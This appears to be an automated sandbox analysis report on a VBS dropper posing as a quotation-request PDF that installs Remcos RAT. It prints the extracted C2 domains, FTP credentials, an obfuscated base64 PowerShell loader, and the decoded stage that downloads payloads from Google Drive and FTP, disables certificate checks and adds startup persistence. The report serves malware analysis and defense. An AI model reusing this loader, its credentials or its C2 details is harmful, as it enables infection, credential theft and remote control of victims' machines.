Analysis
-
max time kernel
133s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
07-10-2024 05:08
Static task
static1
Behavioral task
behavioral1
Sample
Quotation request YN2024-10-07pdf.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
Quotation request YN2024-10-07pdf.vbs
Resource
win10v2004-20240802-en
General
-
Target
Quotation request YN2024-10-07pdf.vbs
-
Size
543KB
-
MD5
3d8cf5dfe51b68c3ad7e205faf69eee2
-
SHA1
036713fc8f92ad3108fdd7851f7c0658c615f091
-
SHA256
a8d4c91b369fdea22a07354ee6da98dca280e3978faf60943fbadf837ffdc53a
-
SHA512
9f1f1d1a3e79ed09cab483c657cddaefb079ceb351a34eeee9b008dc892629e9ffaf0999db586d64f1637213ad21b208d6321985281905fe7151b1e769a7b6a3
-
SSDEEP
1536:ZJJJJJJJJJJJJJJJJJ7ssssssssssssssssssssssssssssssssssssssssssss9:J
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=
Extracted
Protocol: ftp- Host:
ftp.desckvbrat.com.br - Port:
21 - Username:
desckvbrat1 - Password:
developerpro21578Jp@@
Extracted
remcos
MANIFESTATIONS
janbours92harbu03.duckdns.org:3980
janbours92harbu04.duckdns.org:3981
janbours92harbu007.duckdns.org:3981
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
true
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-NACZDT
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
- startup_value
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/1632-101-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/3092-105-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/64-102-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/1632-101-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/64-102-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Blocklisted process makes network request 7 IoCs
flow pid Process 13 4196 powershell.exe 17 4196 powershell.exe 19 4196 powershell.exe 21 4196 powershell.exe 23 4196 powershell.exe 24 4196 powershell.exe 27 1472 powershell.exe -
pid Process 4988 powershell.exe 4196 powershell.exe 1540 powershell.exe 2664 powershell.exe 4192 powershell.exe 1472 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts AddInProcess32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_kdm = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\Roaming\\Program Rules NVIDEO\\Update Drivers NVIDEO\\Update Drivers NVIDEO\\Update Drivers NVIDEO\\aizbp.ps1' \";exit" powershell.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 27 pastebin.com 26 pastebin.com -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1472 set thread context of 2484 1472 powershell.exe 91 PID 2484 set thread context of 64 2484 AddInProcess32.exe 93 PID 2484 set thread context of 1632 2484 AddInProcess32.exe 94 PID 2484 set thread context of 3092 2484 AddInProcess32.exe 96 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe AddInProcess32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 4988 powershell.exe 4988 powershell.exe 4196 powershell.exe 4196 powershell.exe 4196 powershell.exe 2664 powershell.exe 1540 powershell.exe 2664 powershell.exe 1540 powershell.exe 4192 powershell.exe 4192 powershell.exe 1472 powershell.exe 1472 powershell.exe 64 AddInProcess32.exe 64 AddInProcess32.exe 3092 AddInProcess32.exe 3092 AddInProcess32.exe 64 AddInProcess32.exe 64 AddInProcess32.exe -
Suspicious behavior: MapViewOfSection 5 IoCs
pid Process 2484 AddInProcess32.exe 2484 AddInProcess32.exe 2484 AddInProcess32.exe 2484 AddInProcess32.exe 2484 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 4988 powershell.exe Token: SeDebugPrivilege 4196 powershell.exe Token: SeDebugPrivilege 2664 powershell.exe Token: SeDebugPrivilege 1540 powershell.exe Token: SeDebugPrivilege 4192 powershell.exe Token: SeDebugPrivilege 1472 powershell.exe Token: SeDebugPrivilege 3092 AddInProcess32.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2484 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 49 IoCs
description pid Process procid_target PID 3748 wrote to memory of 4988 3748 WScript.exe 82 PID 3748 wrote to memory of 4988 3748 WScript.exe 82 PID 4988 wrote to memory of 4196 4988 powershell.exe 84 PID 4988 wrote to memory of 4196 4988 powershell.exe 84 PID 4196 wrote to memory of 1540 4196 powershell.exe 85 PID 4196 wrote to memory of 1540 4196 powershell.exe 85 PID 4196 wrote to memory of 2664 4196 powershell.exe 86 PID 4196 wrote to memory of 2664 4196 powershell.exe 86 PID 4196 wrote to memory of 3444 4196 powershell.exe 87 PID 4196 wrote to memory of 3444 4196 powershell.exe 87 PID 4196 wrote to memory of 4192 4196 powershell.exe 88 PID 4196 wrote to memory of 4192 4196 powershell.exe 88 PID 4196 wrote to memory of 1472 4196 powershell.exe 89 PID 4196 wrote to memory of 1472 4196 powershell.exe 89 PID 4196 wrote to memory of 1496 4196 powershell.exe 90 PID 4196 wrote to memory of 1496 4196 powershell.exe 90 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 1472 wrote to memory of 2484 1472 powershell.exe 91 PID 2484 wrote to memory of 892 2484 AddInProcess32.exe 92 PID 2484 wrote to memory of 892 2484 AddInProcess32.exe 92 PID 2484 wrote to memory of 892 2484 AddInProcess32.exe 92 PID 2484 wrote to memory of 64 2484 AddInProcess32.exe 93 PID 2484 wrote to memory of 64 2484 AddInProcess32.exe 93 PID 2484 wrote to memory of 64 2484 AddInProcess32.exe 93 PID 2484 wrote to memory of 64 2484 AddInProcess32.exe 93 PID 2484 wrote to memory of 1632 2484 AddInProcess32.exe 94 PID 2484 wrote to memory of 1632 2484 AddInProcess32.exe 94 PID 2484 wrote to memory of 1632 2484 AddInProcess32.exe 94 PID 2484 wrote to memory of 1632 2484 AddInProcess32.exe 94 PID 2484 wrote to memory of 3960 2484 AddInProcess32.exe 95 PID 2484 wrote to memory of 3960 2484 AddInProcess32.exe 95 PID 2484 wrote to memory of 3960 2484 AddInProcess32.exe 95 PID 2484 wrote to memory of 3092 2484 AddInProcess32.exe 96 PID 2484 wrote to memory of 3092 2484 AddInProcess32.exe 96 PID 2484 wrote to memory of 3092 2484 AddInProcess32.exe 96 PID 2484 wrote to memory of 3092 2484 AddInProcess32.exe 96 PID 2484 wrote to memory of 2504 2484 AddInProcess32.exe 106 PID 2484 wrote to memory of 2504 2484 AddInProcess32.exe 106 PID 2484 wrote to memory of 2504 2484 AddInProcess32.exe 106
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Quotation request YN2024-10-07pdf.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + '0AHoAdg' + [char]66 + 'rAHEAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHoAdg' + [char]66 + 'rAHEAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + '0AHoAdg' + [char]66 + 'rAHEAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AdA' + [char]66 + '6AHYAaw' + [char]66 + 'xACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwARAAvADEAMAAvAHIAZQ' + [char]66 + '0AHAAeQ' + [char]66 + 'yAGMAcA' + [char]66 + 'VAC8Acg' + [char]66 + 'iAC4AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC4AcA' + [char]66 + '0AGYAQAAxAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcA' + [char]66 + '0AGYAJwAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'EAC4AdA' + [char]66 + '6AHYAaw' + [char]66 + 'xACQAIAA9ACAAZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAA7ACkAJw' + [char]66 + 'AAEAAcA' + [char]66 + 'KADgANwA1ADEAMg' + [char]66 + 'vAHIAcA' + [char]66 + 'yAGUAcA' + [char]66 + 'vAGwAZQ' + [char]66 + '2AGUAZAAnACwAKQApADkANAAsADYAMQAxACwANwA5ACwANAAxADEALAA4ADkALAA4ADEAMQAsADcAMAAxACwAOQA5ACwANQAxADEALAAxADAAMQAsADAAMAAxACgAXQ' + [char]66 + 'dAFsAcg' + [char]66 + 'hAGgAYw' + [char]66 + 'bACAAbg' + [char]66 + 'pAG8AagAtACgAKA' + [char]66 + 'sAGEAaQ' + [char]66 + '0AG4AZQ' + [char]66 + 'kAGUAcg' + [char]66 + 'DAGsAcg' + [char]66 + 'vAHcAdA' + [char]66 + 'lAE4ALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAG8ALQ' + [char]66 + '3AGUAbgAgAD0AIA' + [char]66 + 'zAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAEMALg' + [char]66 + '0AHoAdg' + [char]66 + 'rAHEAJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '6AHYAaw' + [char]66 + 'xACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAdA' + [char]66 + '6AHYAaw' + [char]66 + 'xACQAOw' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOw' + [char]66 + '9AGUAdQ' + [char]66 + 'yAHQAJA' + [char]66 + '7ACAAPQAgAGsAYw' + [char]66 + 'hAGIAbA' + [char]66 + 'sAGEAQw' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAZA' + [char]66 + 'pAGwAYQ' + [char]66 + 'WAGUAdA' + [char]66 + 'hAGMAaQ' + [char]66 + 'mAGkAdA' + [char]66 + 'yAGUAQw' + [char]66 + 'yAGUAdg' + [char]66 + 'yAGUAUwA6ADoAXQ' + [char]66 + 'yAGUAZw' + [char]66 + 'hAG4AYQ' + [char]66 + 'NAHQAbg' + [char]66 + 'pAG8AUA' + [char]66 + 'lAGMAaQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AIA' + [char]66 + 'mAC8AIAAwACAAdAAvACAAcgAvACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'uAHcAbw' + [char]66 + 'kAHQAdQ' + [char]66 + 'oAHMAIAA7ACcAMAA4ADEAIA' + [char]66 + 'wAGUAZQ' + [char]66 + 'sAHMAJwAgAGQAbg' + [char]66 + 'hAG0AbQ' + [char]66 + 'vAGMALQAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIAApACAAJw' + [char]66 + 'wAHUAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + 'tAGEAcg' + [char]66 + 'nAG8Acg' + [char]66 + 'QAFwAdQ' + [char]66 + 'uAGUATQAgAHQAcg' + [char]66 + 'hAHQAUw' + [char]66 + 'cAHMAdw' + [char]66 + 'vAGQAbg' + [char]66 + 'pAFcAXA' + [char]66 + '0AGYAbw' + [char]66 + 'zAG8Acg' + [char]66 + 'jAGkATQ' + [char]66 + 'cAGcAbg' + [char]66 + 'pAG0AYQ' + [char]66 + 'vAFIAXA' + [char]66 + 'hAHQAYQ' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AFwAJwAgACsAIA' + [char]66 + 'aAEsAbg' + [char]66 + 'ZAE0AJAAgACgAIA' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAbg' + [char]66 + 'pAHQAcw' + [char]66 + 'lAEQALQAgACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAbQ' + [char]66 + 'lAHQASQAtAHkAcA' + [char]66 + 'vAEMAIAA7ACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAcg' + [char]66 + 'vAG4ALwAgAHQAZQ' + [char]66 + 'pAHUAcQAvACAARw' + [char]66 + 'jAFcAaQ' + [char]66 + 'SACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'hAHMAdQ' + [char]66 + '3ACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wACAAOwApACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAFQAcg' + [char]66 + 'IAFYAdQAkACgAIAA9ACAARw' + [char]66 + 'jAFcAaQ' + [char]66 + 'SADsAKQAgAGUAbQ' + [char]66 + 'hAE4Acg' + [char]66 + 'lAHMAVQA6ADoAXQ' + [char]66 + '0AG4AZQ' + [char]66 + 'tAG4Abw' + [char]66 + 'yAGkAdg' + [char]66 + 'uAEUAWwAgACsAIAAnAFwAcw' + [char]66 + 'yAGUAcw' + [char]66 + 'VAFwAOg' + [char]66 + 'DACcAKAAgAD0AIA' + [char]66 + 'aAEsAbg' + [char]66 + 'ZAE0AJAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAVA' + [char]66 + 'yAEgAVg' + [char]66 + '1ACQAIAAsAEIASw' + [char]66 + 'MAFIAVQAkACgAZQ' + [char]66 + 'sAGkARg' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'oAHYAbA' + [char]66 + 'nAHgAJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AaA' + [char]66 + '2AGwAZw' + [char]66 + '4ACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAaA' + [char]66 + '2AGwAZw' + [char]66 + '4ACQAOw' + [char]66 + '9ADsAIAApACcAdA' + [char]66 + 'PAEwAYw' + [char]66 + 'fAEsAYQAzAFoAZg' + [char]66 + 'vAFgAMg' + [char]66 + 'KAEoAcg' + [char]66 + 'WAGgAbQ' + [char]66 + 'WADkAYw' + [char]66 + 'tADkAWA' + [char]66 + 'zAHUAWA' + [char]66 + 'tAGoAMQ' + [char]66 + 'nADEAJwAgACsAIA' + [char]66 + 'JAG8AcQ' + [char]66 + 'hAEYAJAAoACAAPQAgAEkAbw' + [char]66 + 'xAGEARgAkAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AOwAgACkAJwAyADQAdQ' + [char]66 + 'YAEoAVA' + [char]66 + 'xAGEAbQ' + [char]66 + 'nAHkATQ' + [char]66 + '0AEYAeg' + [char]66 + 'hAGsAUA' + [char]66 + 'SADEAcQ' + [char]66 + 'fAEkAdg' + [char]66 + 'HAGkAWA' + [char]66 + 'OAGQAcQ' + [char]66 + 'hAE4AMQAnACAAKwAgAEkAbw' + [char]66 + 'xAGEARgAkACgAIAA9ACAASQ' + [char]66 + 'vAHEAYQ' + [char]66 + 'GACQAewAgACkAIA' + [char]66 + 'yAG0ARQ' + [char]66 + '3AGoAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAJwA0ADYAJwAoAHMAbg' + [char]66 + 'pAGEAdA' + [char]66 + 'uAG8AQwAuAEUAUg' + [char]66 + 'VAFQAQw' + [char]66 + 'FAFQASQ' + [char]66 + 'IAEMAUg' + [char]66 + '' + [char]66 + 'AF8AUg' + [char]66 + 'PAFMAUw' + [char]66 + 'FAEMATw' + [char]66 + 'SAFAAOg' + [char]66 + '2AG4AZQAkACAAPQAgAHIAbQ' + [char]66 + 'FAHcAagAkADsAJwA9AGQAaQAmAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8AZAA9AHQAcg' + [char]66 + 'vAHAAeA' + [char]66 + 'lAD8AYw' + [char]66 + '1AC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + 'lAGwAZw' + [char]66 + 'vAG8AZwAuAGUAdg' + [char]66 + 'pAHIAZAAvAC8AOg' + [char]66 + 'zAHAAdA' + [char]66 + '0AGgAJwAgAD0AIA' + [char]66 + 'JAG8AcQ' + [char]66 + 'hAEYAJAA7ACkAIAAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + 'UAHIASA' + [char]66 + 'WAHUAJAAgACgAIA' + [char]66 + 'sAGUAZAA7ACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAVA' + [char]66 + 'yAEgAVg' + [char]66 + '1ACQAewAgACkAIA' + [char]66 + 'MAEEAcg' + [char]66 + '3AEoAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAMgAoAHMAbA' + [char]66 + 'hAHUAcQ' + [char]66 + 'FAC4Acg' + [char]66 + 'vAGoAYQ' + [char]66 + 'NAC4Abg' + [char]66 + 'vAGkAcw' + [char]66 + 'yAGUAVgAuAHQAcw' + [char]66 + 'vAGgAJAAgAD0AIA' + [char]66 + 'MAEEAcg' + [char]66 + '3AEoAJAAgADsA';$trrnd = $qKKzc; ;$trrnd = $qKKzc.replace('уЦϚ' , 'B') ;;$mmqkg = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $trrnd ) ); $mmqkg = $mmqkg[-1..-$mmqkg.Length] -join '';$mmqkg = $mmqkg.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\Quotation request YN2024-10-07pdf.vbs');powershell $mmqkg2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4988 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$xglvh = (New-Object Net.WebClient);$xglvh.Encoding = [System.Text.Encoding]::UTF8;$xglvh.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Quotation request YN2024-10-07pdf.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$qkvzt = (New-Object Net.WebClient);$qkvzt.Encoding = [System.Text.Encoding]::UTF8;$qkvzt.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $qkvzt.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$qkvzt.dispose();$qkvzt = (New-Object Net.WebClient);$qkvzt.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $qkvzt.DownloadString( $lBCzSg );$huUPX = 